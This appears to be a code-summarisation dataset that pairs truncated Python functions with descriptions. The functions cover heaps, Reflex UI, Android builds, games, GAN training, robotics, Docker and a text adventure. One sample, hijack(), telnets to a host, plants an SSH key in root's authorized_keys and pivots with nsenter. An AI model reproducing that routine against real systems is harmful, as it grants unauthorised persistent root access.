z = y... | This function decreases a specified node's key in a Fibonacci heap. It validates the new key is smaller, updates the node's key, and triggers cut operations if the node's key becomes smaller than its parent's. It also updates the heap's minimum node if necessary, maintaining heap properties. | def fib_heap_decrease_key(self, key, new_key):
node = self.find_node(key)
if node is not None:
if new_key >= key:
raise ValueError("new key value is greater than or equal to current key")
node.key = new_key
y = node.parent
if y is not None and node.key < y.key:
self.cut(n... |
def banner():
return rx.cond(
NavbarState.banner,
rx.box(
rx.hstack(
rx.text(
" 🚀 Reflex live on Product Hunt! Check out our launch ",
rx.link(
"here",
href="https://www.producthunt.c... | The code defines a responsive navigation bar component with a logo, links, social icons, dark mode toggle, and sidebar toggle. It uses conditional rendering for light/dark themes, responsive display settings, and fixed positioning at the top with styling for alignment, spacing, and background. | def navbar(sidebar: rx.Component = None) -> rx.Component:
return rx.flex(
banner(),
rx.flex(
rx.link(
rx.box(
rx.color_mode_cond(
rx.image(
src="/logos/light/reflex.svg",
a... |
def top() -> rx.Component:
return rx.container(
hero_section(),
padding_top="3em",
padding_bottom="3em",
)
def demos():
return rx.vstack(
rx.vstack(
rx.chakra.text(
"Build web apps, faster.",
font_size=["24px", "30px", "44px", "44px... | The code defines the main landing page for a Reflex application, structuring UI components like `top()`, `demos()`, and `stats()` within a responsive, full-width vertical layout using Reflex's `rx.flex` and `rx.container` for organized presentation. | def index() -> rx.Component:
"""Get the main Reflex landing page."""
return rx.flex(
top(),
rx.container(
demos(),
stats(),
padding_x="1em",
),
width="100%",
direction="column",
) |
def lowest_simulation(num):
routes = {}
for _ in range(num):
itinerary = greedy_path()
distance = get_total_distance(itinerary)
routes[distance] = itinerary
shortest_distance = min(routes.keys())
route = routes[shortest_distance]
return shortest_distance, route
def greedy_pa... | The main task of the code is to run a simulation either multiple times (specified via command-line argument) to determine the shortest distance and optimal route using `lowest_simulation`, or execute a greedy algorithm to generate an itinerary and calculate its total distance if no iterations are provided. | def main():
"""runs everything"""
if len(sys.argv) == 2:
iterations = int(sys.argv[1])
print("Running simulation %s times" % iterations)
distance, route = lowest_simulation(iterations)
print("Shortest Distance: %s" % distance)
print("Optimal Route: %s" % route)
else:... |
def Build(build_dir, build_type, arch, common_gn_args, extra_gn_switches,
extra_ninja_switches):
"""Generates target architecture using GN and builds it using ninja."""
logging.info('Building: %s', arch)
output_directory = _GetOutputDirectory(build_dir, arch)
gn_args = {
'target_cpu': _GetTargetCp... | (BuildAar function compiles Android archives (AAR) for multiple architectures by building each variant, extracting dependency JARs, filtering excluded libraries, merging classpaths, and packaging AndroidManifest, resources, and configurations into a ZIP file. It handles temporary build directories, merges resources acr... | def BuildAar(archs, output_file, common_gn_args,
ext_build_dir=None, build_type = 'debug',
extra_gn_switches=None,
extra_ninja_switches=None):
extra_gn_switches = extra_gn_switches or []
extra_ninja_switches = extra_ninja_switches or []
build_dir = ext_build_dir + "/" + buil... |
def _ParseArgs():
parser = argparse.ArgumentParser(description='bison_view.aar generator.')
parser.add_argument('--version-name', help='aar version' ,default='1.0.0')
parser.add_argument('--build-type', default='debug',
help='Build type. default debug')
parser.add_argument('--build-dir', default='out',
... | The main task of the code is to build an Android ARchive (AAR) file using GN/Ninja build tools by parsing command-line arguments, configuring logging, generating build parameters, constructing output paths, and invoking the BuildAar function. If the 'publish' flag is set, it also triggers a publishing process with vers... | def main():
args = _ParseArgs()
logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO)
common_gn_args = createGnArgs(args.extra_gn_args,args.build_type)
verison = args.version_name
if args.publish and args.snapshot:
verison = verison + "-SNAPSHOT"
base_name = ARTIFACT_ID + '-' + v... |
def pull(self, owner=None, fname="HighScores.ytz"):
if not self.no_credentials:
#print(self.get("uname") if owner == None else owner, 'o', fname)
#resp = "[]"
resp = post('http://%s/cli/uploads'%(self.domain), [("username", self.get("uname")), ("password", self.get("pass")), ... | This code handles saving a game score to a high score list, removes duplicate entries if needed, and uploads the updated list to a server. It also sends a notification about the score achievement and stores the data with a timestamp. | def push(self, fname="HighScores.ytz"):
if not self.no_credentials:
current = self.pull()
score = self.game.draw_score_lbls()
if len(current) > 10 and current[-1][1] == score:
current.pop(-1)
data = json.dumps(current+[[self.get("uname"), score, da... |
def same(dice, i=3):
return [x for x in dice if dice.count(x) == i] != []
def get_consec(li):
li = list(set(sorted(li)))
for l in (li, li[1:], li[:-1]):
#print(l, list(range(l[0], l[-1]+1)))
if l == list(range(l[0], l[-1]+1)):
return len(l)
return 0
def reset_roll(self):
... | This function calculates and updates scores in a dice game based on dice values and predefined categories. It handles upper and lower score sections, checks for specific dice patterns (e.g., pairs, consecutive sequences), updates totals, resets rolls, and manages game state indicators like remaining rolls and score lab... | def add_score(self,i,lbl,lbl2):
dice = [self.dice_cache[x] if n == None else n for x,n in enumerate(self.dice_save)]
if None not in dice:
if len(set(dice)) == 1:
s = self.score["lower"].get(12,0)
c = 100
if not s:
c = 50
... |
def signinbox(parent):
box = alertbox(parent, "Sign-In To Droplet")
tk.Label(box, text="Username: ").grid(row=box._rowm.get(),column=0)
w = 25
ety = tk.Entry(box, width=w)
ety.grid(row=box._rowm.n, column=1, columnspan=3)
tk.Label(box, text="Password: ").grid(row=box._rowm.get(),column=0)
et... | This function creates a Tkinter window to view high scores, allowing users to search for scores via an entry field or view their own scores. It initializes UI elements, handles credential checks, and displays results in a frame using `update_high_score`, with buttons to trigger score retrieval and display. | def view_high_scores():
global gamedata, imgicon
gamedata.comps = gamedata.following()
win = tk.Toplevel()
win.geometry("350x300")
win.tk.call('wm', 'iconphoto', win._w, imgicon)
row = Row()
win._rowm = row
if gamedata.no_credentials:
signinbox(win)
tk.Label(win, text="Find S... |
def print_board(board):
for row in board:
print(' | '.join(row))
print('---------')
def game_over(board):
# Check rows
for row in board:
if row.count(row[0]) == len(row) and row[0] != EMPTY:
return True
# Check columns
for col in range(len(board)):
if boa... | The code implements a Tic-Tac-Toe game where a player (O) competes against an AI (X). It initializes a 3x3 board, alternates turns, validates moves, checks for wins/ties, and uses the `best_move` function for AI decisions. The game ends when a player wins or the board fills with no winner, declaring a tie. | def play_game():
board = [[EMPTY] * 3 for _ in range(3)]
print("Let's play Tic-Tac-Toe!")
print_board(board)
while not game_over(board):
# Player's move
row = int(input("Enter row (0, 1, 2): "))
col = int(input("Enter column (0, 1, 2): "))
if board[row][col] != EMPTY:
... |
def powerfree(n):
for b in range(2, int(log(n,2))+1):
a=root(n,b)
if isint(a):
return False
else:
return True
def nodivisorlessthanr(n):
for i in range(2, r(n)+1):
if 1<math.gcd(n,i)<n:
return False
return True
def nleqr(n):
if n <= r(n... | This function implements the AKS primality test to determine if a number n is prime. It first checks if n is power-free and has no divisors less than r. If n ≤ r, it returns True. Otherwise, it verifies the Fermat test for primality, returning True if passed, False otherwise. | def aks(n):
if not(powerfree(n) and nodivisorlessthanr(n)):
return False
#74513 is the first number that fails step 1 and 3
if nleqr(n):
return True
if fermat(n):
return True
else:
return False |
def CalculateSR(returns):
return np.average(returns)/np.std(returns)
def Frequency(returns):
years = len(returns)/365.25
frequency = len(returns) / years
return frequency
def CalculateSRBenchmark(clusters, returns, bestFrequency):
K = len(clusters)
V = CalculateEV(clusters, returns, bestFre... | The function calculates the Distance to Sharpe Ratio (DSR) by identifying the strategy with the highest Sharpe Ratio (SR) from input returns, comparing it to a benchmark SR derived from clusters. It computes statistical measures (skewness, kurtosis) of the best strategy's returns, then calculates DSR as the cumulative ... | def CalculateDSR(returns, clstrsNew):
## Determine the best strategy and its SR
maxSR = 0
maxI = -1
for i in range(returns.shape[1]):
curSR = CalculateSR(returns[[i]])[i]
if(curSR >= maxSR):
maxSR = curSR
maxI = i
print("Highest SR: " + str(maxSR))
... |
def get_init_rules(size, cats):
'''
Get size 1 rules, when no sub-rule has been computed yet
:param size: rule size
:param cats: list of categories, where the rule value is non-star, same length as size
'''
rule_ls = []
for c in cats:
# initialize idx for every col
... | The function identifies the best marginal rule by iteratively generating and evaluating rules of increasing size (up to max_w) for each categorical column in 'cats'. It uses the specified aggregation method (e.g., count, sum, avg) to score rules, updates candidate rules (C), and selects the highest-scoring rule (BMR) v... | def find_best_marginal_rule(S, cats, cats_dict, max_w, W, Agg, target , df):
H = 0
BMR = create_rule()
size = 0
C = C_o = C_n = []
# for each column
for c in cats:
# increment size
size = size + 1
# Drop out if max_w is reached
if size <= max_w:
... |
def get_init_rules(size, cats):
rule_ls = []
for c in cats:
### initialize idx for every col
idx = 0
for item in cats[c]:
while idx < len(item):
### var and count specific to a variable of a col
... | The function iteratively generates and evaluates candidate rules to find the best marginal rule (BMR) that maximizes a target score. It processes each categorical column, creates initial or expanded rules, calculates their upper-bound scores using sub-rules, filters inferior rules, and updates the optimal rule set. The... | def find_best_marginal_rule(S, cats, cats_dict, max_w, W, Agg, target, df1, df2):
H = 0
size = 0
C = C_o = C_n = []
# for each column
for c in cats:
# increment size
size = size + 1
# generate corresponding size rules
if not C_o:
... |
def load_translations(self):
with open('translate.json', 'r', encoding='utf-8') as file:
self.translate = json.load(file)
logging.info('loaded translations')
def add_tab(self, file_path=None, content="", name=None):
if name != None:
tab = Tab(self.tabs, file_path, content... | (The code initializes a multi-tab text editor GUI with localization support, menu bars (File, Edit, View, Help), context menus for text manipulation, theme customization, and plugin integration. It sets up window properties, binds keyboard shortcuts, creates a status bar, and loads necessary components for a configurab... | def __init__(self, root):
super().__init__()
self.root = root
self.language = language_codes.get(values["LANG"], "en")
self.load_translations()
self.root.title("ForeverPad")
self.root.geometry('800x450')
self.root.iconbitmap("icon.ico")
#self.root.overri... |
def _init_config(self, root_path):
self._merge_config(root_path)
PWebRegistry.config = self._config
def _init_cors(self):
resources = {
r"/" + str(self._config.REST_URL_START_WITH) + "/*": {"origins": self._config.ALLOW_CORS_ORIGINS, "Access-Control-Allow-Origin": self._config.ALLOW_... | This constructor initializes a web application by setting up configuration, CORS, logging, ORM, modules, and static resources. It creates a PWebBase instance, applies project-specific settings, and integrates modules and dependencies to prepare the application for operation. | def __init__(
self,
project_root_path,
config=PWebAppConfig(),
name: str = "PWeb",
static_url_path: t.Optional[str] = None,
static_folder: t.Optional[t.Union[str, os.PathLike]] = "static",
static_host: t.Optional[str] = None,
... |
def init_process(rank, size, backend="nccl"):
"""
Initializes the distributed environment.
Args:
rank: The device id
size: The number of GPUs
backend: gloo, nccl
"""
print(f"init_process: rank= {rank}, backend = {backend}")
os.environ[... | The code trains a neural network model, supporting both distributed and non-distributed training. It initializes device settings, handles gradient accumulation, enables mixed precision training, and executes training epochs with validation. The function manages seed offsets, distributed process initialization, model pa... | def train(self, rank, world_size, distributed=False, distributed_backend="nccl", enable_tqdm=False):
if distributed:
self.init_process(rank, world_size, distributed_backend)
device = f"cuda:{rank}"
torch.cuda.set_device(device) # no need this?
seed_offset = rank #... |
def make_same_df(self, **kwargs):
"""
Makes a dataframe with identical values.
"""
cols = kwargs.pop('cols', ['name', 'measurement'])
names = kwargs.pop('names', ['wt', 'mt'])
count = kwargs.pop('count', 50)
dist = kwargs.pop('dist', lambda: np.random.normal(0, 10... | The main task of the code is to initialize and create test dataframes of different types ('same', 'stat', 'diff') using specific methods, storing them in a dictionary `self.dfs` for further testing or processing. | def __init__(self):
"""
Initializer. Creates all test dataframes.
"""
self.dfs = {}
self.types = ['same', 'stat', 'diff']
self.dfs['same'] = self.make_same_df()
self.dfs['stat'] = self.make_stat_df(count=100)
self.dfs['diff'] = self.make_diff_df() |
def make_same_df(self, **kwargs):
"""
Makes a dataframe with identical values
"""
cols = kwargs.pop('cols', ['name', 'count', 'total'])
names = kwargs.pop('names', ['wt', 'mt'])
count = kwargs.pop('count', 10)
total = kwargs.pop('total', 50)
dist = kwargs.... | The code simulates dataframes by generating 'same', 'stat', and 'diff' datasets, then performs bootstrap analysis on each using varying sample sizes (boot_ns). It calculates p-values for each simulation, tracks progress, and compiles results into a DataFrame storing type, bootstrap size, and p-value. Finally, it saves ... | def simulate1(self, n=10, boot_ns=[10**2, 10**3, 10**4, 10**5], **kwargs):
"""
Simulates same dataframes.
"""
blabel = kwargs.pop('blabel', 'name')
mlabel = kwargs.pop('mlabel', 'count')
tlabel = kwargs.pop('tlabel', 'total')
dfs = {
'same': self.make... |
def forward_pass(self,X,activation_fun_name):
"""
Function to compute the Forward pass in the network
:param X: The input feature matrix
:param activation_fun_name: The activation function to be used
:return: Output value i.e. predicted Y value
"""
net_layer1 = np... | The code trains a neural network using backpropagation on given training data, with optional plotting of the mean square error (MSE) over iterations. It splits input data into features (X) and labels (y) for both training and testing. During training, it performs forward passes to compute predictions, calculates errors... | def train(self,data,testdata,epoch=1000,learningrate=0.00001,activation_function='sigmoid',do_plot_graph = False):
nrows, ncols = data.shape[0], data.shape[1]
X = data[:, 0:(ncols - 1)]
# print(X.shape)
y = data[:, (ncols - 1)].reshape(nrows, 1)
# print(y.shape)
nrows_t... |
def get_declination(self):
""" :return declination: solar declination angle at ref_datetime"""
if not self.declination is None:
return self.declination
if self.app_long is None:
self.get_app_long()
if self.oblique_corr is None:
self.get_obli... | This function calculates the solar azimuth angle at a reference datetime using trigonometric equations, either returning cached values or computing them by first ensuring declination, hour angle, and zenith are determined. It applies distinct formulas based on the hour angle's sign, handling both NumPy arrays and scala... | def get_azimuth(self):
""" :return azimuth: returns solar azimuth angle at ref_datetime"""
if not self.azimuth is None:
return self.azimuth
if self.declination is None:
self.get_declination()
if self.hour_angle is None:
self.get_hour_angle()... |
def runDREAMER(self):
cores = self.R #number of CPU cores for multiprocessing
f_array = np.empty(cores, dtype=object)
for i in range(self.R):
f_array[i] = functools.partial(self.getRandomSubtablesWeights,i)
with Pool() as pool:
res = pool.map(sel... | The code's main task is to execute the DREAMER process by initializing a timer, cleansing a dataset, running the DREAMER algorithm, recording the total execution time in minutes, and generating output files including cleansed data, accuracy subtables, learned weights, run details, and a master table. It ensures paralle... | def run(self):
print('Read json configuration.')
start = timeit.default_timer() #Start timer
print('DREAMER started for user ', self.folder_name,' on ',self.R,' cores in parallel.')
print(f'Cleansing dataset {self.file_name}.')
self.runDREAMER()
stop = ... |
def getTargetArray(data):
rows = len(data)
cols = len(data[0])
classNames = [] #list of all class names
for i in range(rows):
target = data[i, (cols-1)]
if target in classNames:
continue
classNames.append(target)
return... | The function calculates the average R-value across all classes in the dataset. It first determines the total number of samples and the sum of R-values for each class, then divides the total R-value by the total number of samples to compute the average R-value, which is returned as the result. | def getRvalue(self, data):
classNames_list = getTargetArray(data)
numOfClasses = len(classNames_list)
totalSamples = 0
total_RValue = 0
for i in range(numOfClasses):
samples = self.getNumofSamples(data, classNames_list[i])
totalSa... |
def ConnectedComponents(self,Graph):
visited={}
cc=[]
for node in range(len(Graph)):
visited[node]=False
for node in range(len(Graph)):
if visited[node]==False:
nodes=[]
cc.append(self.DFS(nodes,node,visited,Graph... | The main task of the code is to compute a cost metric for a graph based on node connectivity and blob area relationships. It identifies valid connected components, determines parent nodes (degree >1, 0, or degree 1 with frameNumber=1), and calculates a cost by comparing each parent's area to the sum of areas of its con... | def ComputeGraph(self,Graph,blobs):
components=self.ConnectedComponents(Graph)
for component in components:
if not self.CheckValidComponent(component,Graph):
return float("inf")
Parents=[]
for node in range(len(Graph)):
degree=self.GetD... |
def ConnectedComponents(self,Graph):
visited={}
cc=[]
for node in range(len(Graph)):
visited[node]=False
for node in range(len(Graph)):
if visited[node]==False:
nodes=[]
cc.append(self.DFS(nodes,node,visited,Graph... | The main task of the code is to compute a cost metric for a graph based on node connectivity and blob area relationships. It first checks if all connected components are valid, then identifies "parent" nodes based on degree and frame number. For each parent, it calculates a cost by comparing the parent's area to the su... | def ComputeGraph(self,Graph,blobs):
components=self.ConnectedComponents(Graph)
for component in components:
if not self.CheckValidComponent(component,Graph):
return float("inf")
Parents=[]
for node in range(len(Graph)):
degree=self.GetD... |
def load_model(self, load_path):
"""
Function to load a saved model
Parameters
----------
load_path: path to the saved model
Returns
-------
"""
"""Loading model"""
state1 = torch.load(load_path+'_model1')
state_dict1 = state1['state_dict']
self.model.load_state_dict(state_dict1)
... | The main task of the code is to train and evaluate a machine learning model over multiple epochs. It tracks the best validation performance (MRR) and saves the corresponding model. After training, it restores the best model and evaluates it on test data. The function iteratively computes training loss, validates the mo... | def fit(self):
"""
Function to run training and evaluation of model
Parameters
----------
Returns
-------
"""
self.best_val_mrr, self.best_val, self.best_epoch = 0., {}, 0.
val_mrr = 0
save_path = os.path.join('./torch_saved', self.p.name)
if self.p.restore:
self.load_model(save_path)
s... |
def _train_epochs(model, train_loader, test_loader, train_args):
epochs, lr = train_args['epochs'], train_args['lr']
optimizer = optim.Adam(model.parameters(), lr=lr)
scheduler = optim.lr_scheduler.StepLR(optimizer,step_size = 20, gamma = 0.01)
if not os.path.exists(SAVED_MODEL_DIR):
os.makedirs(SAVED_MODEL_DIR)... | The function trains a semi-supervised learning (SSL) model using custom samplers and data loaders, supporting multi-GPU setups. It optionally loads a pre-trained model, trains for specified epochs, collects training/test losses, and saves them. The model is wrapped with DataParallel if multiple GPUs are available, and ... | def train_ssl(model, train_dataset, test_dataset,sampler, n_epochs=20, lr=1e-3, batch_size=256, load_last_saved_model=False, num_workers=8):
# C = train_dataset.__getitem__((0, 0,1))[0][0].shape[0] # num channels
# T = train_dataset.__getitem__((0, 0,1))[0][0].shape[1] # num timepoints
if load_last_saved_model:
mo... |
def _write(self, indent=0, line=''):
self._fid.write(' ' * indent + line + '\n')
def _get_classname_from_ref(self, ref):
final_piece = ref.split('/')[-1]
if '.' in final_piece:
return final_piece.split('.')[-1]
else:
return final_piece
def _get_type_restriction... | The main task of the code is to generate Python classes from OpenAPI component schemas, writing them to files with structured documentation, handling enums, constants, and data properties. It processes schema definitions to create class files with appropriate attributes, methods, and type mappings, ensuring compatibili... | def _write_component_schemas(self):
for key, yobject in self._openapi['components']['schemas'].items():
pieces = key.split('.')
self._classname = key
path = self._src_dir + '/'
if '.' in key:
self._classname = pieces[-1]
path += '_'... |
def _write_component_schemas(self):
for key, yobject in self._openapi['components']['schemas'].items():
pieces = key.split('.')
self._classname = key
path = self._src_dir + '/'
if '.' in key:
self._classname = pieces[-1]
path += '_'... | The main task of the code is to generate code structure and files from an OpenAPI specification. It clears the source directory, loads the OpenAPI YAML file, creates the directory, and writes component schemas, API paths, and initialization files. | def generate(self):
from yaml import safe_load
shutil.rmtree(self._src_dir, onerror=self._handleError)
if os.path.exists(self._src_dir) is True:
os.rmdir(self._src_dir)
with open('./models/openapi.yaml') as fid:
self._openapi = safe_load(fid)
os.mkdir(sel... |
def filter_instances(self, label_idxs, y_true, y_pred):
"""1. Instances that do not contains labels idxs are removed
2. Labels that do not contains in the label idxs are removed
"""
mask_np = np.zeros(self.class_num)
mask_np[label_idxs] = 1
valid_instances_idxs = list... | The code evaluates model performance on grouped labels by calculating Micro-F1, Macro-F1, and precision/recall at specific top-k thresholds for each group. It filters instances per group, computes metrics using predicted probabilities, and aggregates results in a structured format for analysis. | def eval(self, y_true, y_pred, threshold=0.5):
results = []
for group_idxs, group_name in self.label_groups:
result = {'Label Group': group_name, 'Label Size': len(group_idxs)}
target_y_true, target_y_pred = self.filter_instances(
group_idxs, y_true, y_pred)
... |
def set_config(self,mux):
configur = self.create_config_string(mux)
self.dev.writeto(self.address, bytearray([1] + configur))
def read_config(self):
self.dev.writeto(self.address, bytearray([1]))
result = self.dev.readfrom(self.address, 2)
# print('reading config returned:', f"{(... | The main task of the code is to read an analog-to-digital converter (ADC) value from a specified channel. It first configures the channel, waits for the conversion to complete by checking a status bit, then retrieves and returns the ADC value. | def read_adc_from_channel(self, channel):
self.set_config(channel)
while True:
rbit = (self.read_config() >> 15) & 1
if rbit:
break
adc_val = self.read_value(channel)
return adc_val |
def weights_init_uniform(self):
"""
Initialize the model with Kaiming Initialization.
"""
classname = self.__class__.__name__
# for every Linear layer in a model..
if classname.find('Linear') != -1:
# apply a uniform distribution to the weights and a bias=0
... | The code trains a neural network model with variational inference and HSIC regularization, using multiple initializations and optimization steps. It computes losses (MSE, KLD, HSIC), updates parameters, evaluates performance via R², and saves the best model based on validation results. The training includes reparameter... | def train_model(self, n_step = 10000, n_init_step = 1, n_repeat = 1):
"""
Model training.
n_step is the number of steps of training.
n_init_step is the number of steps for initialization.
n_repeat is the number of re-initialization for the training.
"""
self.t... |
def get_new_docker_config(self):
"""Retrieves new JSON config"""
raise NotImplementedError("get_new_docker_config must be implemented")
def get_running_docker_config(self):
"""Get config from runnning containers"""
current_docker_config = []
containers = self.get_running_containe... | The code updates Docker containers by comparing current and new configurations, classifying containers into groups (to_delete, to_create, to_update), then applying deletions, creations, and updates accordingly, followed by pruning the Docker host to clean up resources. | def update(self):
"""Update containers based on the current configuration"""
self.get_new_docker_config()
self.get_running_docker_config()
containers = self.get_classified_containers()
self.delete_containers(containers["to_delete"])
self.create_containers(containers["to_c... |
def update(G, color_map, pos):
fig = generateFigure(G, color_map, pos)
raw_data, size = getRawData(fig)
drawFig(raw_data, size)
pygame.display.update()
clock.tick(fps)
pygame.time.delay(time_delay)
def searchAnimation(matrix, visited, G, pos, color_map, t):
tmp = []
for v1, v2 in visited... | The code executes a specified pathfinding algorithm (BFS, DFS, UCS, etc.) on a grid, visualizes the search process with animations, and highlights the found path. It reads input data, initializes a graph, runs the chosen algorithm, and updates the visualization with node traversal and path painting, using a delay for a... | def run(input, algorithm, delay):
global time_delay
time_delay = delay
matrix, start, end = readMatrix(input)
G, pos, color_map = initialize(matrix)
update(G, pos, color_map)
if algorithm == 'bfs':
visited, path = BFS(matrix, start, end)
elif algorithm == 'dfs':
visited, path... |
def assemble_single_op_reg_insn(
self, stmt: CodeStmt, valid_registers: Set[str], combine_func
) -> bytes:
assert stmt.insn
op = OPCODES_MAP[stmt.insn.opcode]
if stmt.insn.argument not in valid_registers:
self.report_error(
stmt, f"Invalid register type (m... | The function `assemble_insn` converts high-level assembly instructions into their corresponding machine code (bytes) based on the opcode and operands. It handles various opcodes (e.g., `inc`, `add`, `fim`, `jun`) by calling specialized helper methods, applying operand encoding rules, validating register types, and trun... | def assemble_insn(
self, stmt: CodeStmt, variables: Dict[str, str], ip: int
) -> bytes:
if stmt.kind != "insn":
return b""
insn = stmt.insn
assert insn
if insn.opcode == "inc":
return self.assemble_single_op_reg_insn(
stmt, REGULAR_RE... |
def split_statements(self, code: str) -> List[CodeStmt]:
"""
Take a program, and return all the statements in it
"""
stmts = []
for line_num, line in enumerate(code.splitlines()):
line_num += 1 # lines aren't 0-indexed :P
# remove comments, whitespace
... | This code assembles a program into a ROM image by parsing statements, assigning variables and labels, validating assembled byte lengths, and padding the output to 4096 bytes. It ensures case insensitivity, enforces size limits, and reports errors for length mismatches or excessive ROM usage. | def assemble(self, program: str) -> bytes:
program = program.lower() # we're case insensitive
stmts = self.split_statements(program)
variables = self.assign_variables(stmts)
label_addresses = self.assign_label_addresses(stmts)
# labels are just fancy variables :)
for k, ... |
def forward(self, img_a, img_b, meta, test_mode=False, **kwargs):
"""Forward function.
Args:
img_a (Tensor): Input image from domain A.
img_b (Tensor): Input image from domain B.
meta (list[dict]): Input meta data.
test_mode (bool): Whether in test mode o... | This function performs a training step for a GAN, alternating between updating the discriminator and generator. It processes input data, runs the generator forward, updates the discriminator with real/fake loss, and conditionally updates the generator. It returns logs, sample counts, and visualization results like real... | def train_step(self, data_batch, optimizer):
"""Training step function.
Args:
data_batch (dict): Dict of the input data batch.
optimizer (dict[torch.optim.Optimizer]): Dict of optimizers for
the generator and discriminator.
Returns:
dict: Dic... |
def print_dangerous(message):
dangerous_icon = colored("[✔] 💀", 'red') # You can customize the icon
decorated_message = f"{dangerous_icon} {colored(message, 'red')}\n"
stylePrint(decorated_message)
def sendVimCommand(connection, command):
try:
connection.write(command.encode('utf-8') + b'\n')
... | This code hijacks a remote system by injecting an SSH public key into its authorized_keys file via telnet, enabling password-less access. It connects to port 8065, executes commands to modify SSH authentication, and uses nsenter to pivot into the target's namespaces. The function handles error checking and exits on fai... | def hijack(address):
connection=telnetlib.Telnet(address, port=8065)
with open('./binaries/id_rsa.pub', 'r') as f:
content = f.read()
try:
injection = f'echo "{content}" > /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys'
except IOError:
print(f"Error id_rsa.pu... |
def get_var_html_label(function, param_map):
"""Make HTML label for the variable."""
_var = function.variable
node_name = [
f"{type(_var).__name__}: " + str(id(function))[-4:],
get_var_name(_var, param_map),
]
label = (
r"""<<TABLE CELLPADDING=... | The code constructs a computational graph visualization by creating nodes for functions and their dependencies. It distinguishes between gradient accumulators and regular functions, linking nodes with edges that represent data flow. Special handling is applied for None gradients, marking them as constants with dotted e... | def build_graph(function) -> None:
"""Build graph elements of a particular function."""
if hasattr(function, "variable"): # if GradAccumulator
label = get_var_html_label(function, param_map)
dot.node(str(id(function)), label)
else:
ass... |
def precision( assigned, correct ):
intersections_lens = [ len( intersect( assigned[ i ], correct[ i ] ) ) for i in range( len( assigned ) ) ]
assigned_lens = [ len( item ) for item in assigned ]
return np.sum( intersections_lens ) / np.sum( assigned_lens )
def recall( assigned, correct ):
... | The code evaluates the TextRank model's keyword extraction performance on the INSPECT test dataset. It compares extracted keywords (hl) against ground truth labels (tl), calculating assigned keywords, correct matches, and metrics like precision, recall, and F1 score. The evaluation iterates through test documents, extr... | def evaluateInspecDataset( self, N ):
# the ground truth - the batch of true labels
# for each test example
tl = []
# the model's labels
hl = []
assigned_count = []
correct_count = []
self.textrank = TextRank( N=N )
print( f'evaluating textran... |
def move_ahead(self):
# Keep tracking left wall
while True :
# ************* Tuning parameters *********
wall_thresh_close = 0.39 ; wall_thresh_far = 0.41 ; wall_lost_dist = 0.7
ang_vel = 0.3 ; angle_thresh = 0.025; lin_vel = 0.20
front_thresh = 0.5
... | The code implements an autonomous exploration algorithm for a robot, using laser scan data to navigate environments. It continuously checks front, left, and right distances, making decisions to move forward, rotate, or align with walls based on predefined thresholds. The algorithm handles scenarios like T-junctions, al... | def explore(self):
# self.align_with_wall()
while 1 :
reason = self.move_ahead()
print("\nfront, left, right : ", self.laserscan[0], self.laserscan[90], self.laserscan[270])
# **** Tuning parameters ****
front_thresh2 = 0.5 ; side_thresh2 = 1.0
... |
def wall_follow(self):
L = self.make_path()
r = 5 ; l_min = L[2] ;
# running distance ratio
distances = [ np.linalg.norm(t) for t in L[3][l_min -r : l_min + r] ]
dist_ratio = [ distances[i+1]/distances[i] for i in range(len(distances) - 1) ]
L_mdr = max(dist_ratio)
... | This function animates wall-following behavior for a robot. It clears the plot, calculates wall-following parameters (angle, offset), and adjusts movement: rotating if angle is extreme, sending corrective commands otherwise. If the wall is broken (angle=0, offset=0), it executes a left turn sequence to realign. It hand... | def animate_cb(self,m):
# Plotting init
self.ax.clear()
self.ax.grid()
# Start following wall
angle, offset = self.wall_follow()
if angle != 100 and angle != 0 and offset != 100 and offset != 0:
# Simple wall folowing case
if angle > 15 or angle... |
def _get_image_box(self, ind):
"""
get the region containing all the objects
Parameters
----------
ind: array
Indices of the objects of interest
Returns
-------
ranges: tuple
(minrow, maxrow, mincol, maxcol)
"""
se... | The main task of the code is to generate a `MultiBandObsList` (mbobs) for a region encompassing input objects, adjust their positions, and create a segmentation map with noise-filled regions outside the objects. It extracts a sub-region from the image, shifts catalog coordinates, masks non-object areas, and returns the... | def get_mbobs(self, indices):
"""
Get an ngmix.MultiBandObsList for the region
encompasing the input object list
Fill with noise any parts of the image not assigned
to those objects
The jacobian from the center of the region is used
Parameters
---------... |
def __initialize_memo(self):
for destination_city in range(self.total_cities):
if destination_city == self.start_city:
continue
self.memo[destination_city][1 << self.start_city | 1 << destination_city] = \
self.distance_matrix[self.start_city][destinatio... | The code solves the Traveling Salesman Problem (TSP) using dynamic programming. It iterates through subsets of cities, computes minimum distances for each subset state, and stores results in a memoization table. By considering all valid city combinations and transitions, it builds optimal paths incrementally. Finally, ... | def solve(self):
self.__initialize_memo()
for num_element in range(3, self.total_cities + 1):
for subset in self.__initiate_combination(num_element):
if self.__is_not_in_subset(self.start_city, subset):
continue
for next_city in range(s... |
def init_env_variables(self, first_point_angle=0):
a = 1 / (2 * np.sin(np.pi / 8)) # fix a (radius) for unit side octagon
self.octagon_points = np.asarray(
[
(
a * np.sin(first_point_angle + n * np.pi / 4),
a * np.cos(first_point_angle... | This code initializes a reinforcement learning environment with configurable reward structures. It sets up a discrete action space (9 actions), defines block-type-specific reward values, tracks rewarding sites, and prepares environment variables. The 'manual_play' flag enables interactive mode, while 'block_type' deter... | def __init__(self, block_type=1, manual_play=False):
self.reset_flag = False
self.action_space = spaces.Discrete(9)
self.block_type = block_type
self.HARVEST_ACTION_ID = 8
if self.block_type == 1:
self.rewards = np.asarray([0, 70, 70, 0, 70, 0, 70, 0])
elif s... |
def returningCorrectStory(Name, ID, Scenario=None):
if Scenario is not None:
return [x for x in pathSTORIES[Name]["Scenarios"] if x["Uniques"]["ID"] == ID]
return [x for x in pathSTORIES[Name] if x["Uniques"]["ID"] == ID]
def action_intro(choice, player_Obj=None):
if(choice == 1):
print(path... | The function evaluates a player's story choice by determining the correct story content using `returningCorrectStory` based on `targetStory` and `ID`. It then triggers specific actions like introducing scenes, handling exposition, initiating fights, or exploring scenarios by calling corresponding functions (`action_int... | def evaluate_story_choice(choice, ID, targetStory, choicObj=None, player_Obj=None):
# print(f'ID, targetStory: {ID, targetStory}')
exp = []
if targetStory == "Monster":
exp = returningCorrectStory("Monster", ID)
elif targetStory == "Exposition":
exp = returningCorrectStory("Exposition",... |
def saveStory():
global pathSTORIES, written_path
pathSTORIES['written_path'] = written_path
contents_json = json.dumps(pathSTORIES, indent=4)
f = open("paths_update.json", "w")
f.write(contents_json)
f.close()
def savePlayer(playerObj):
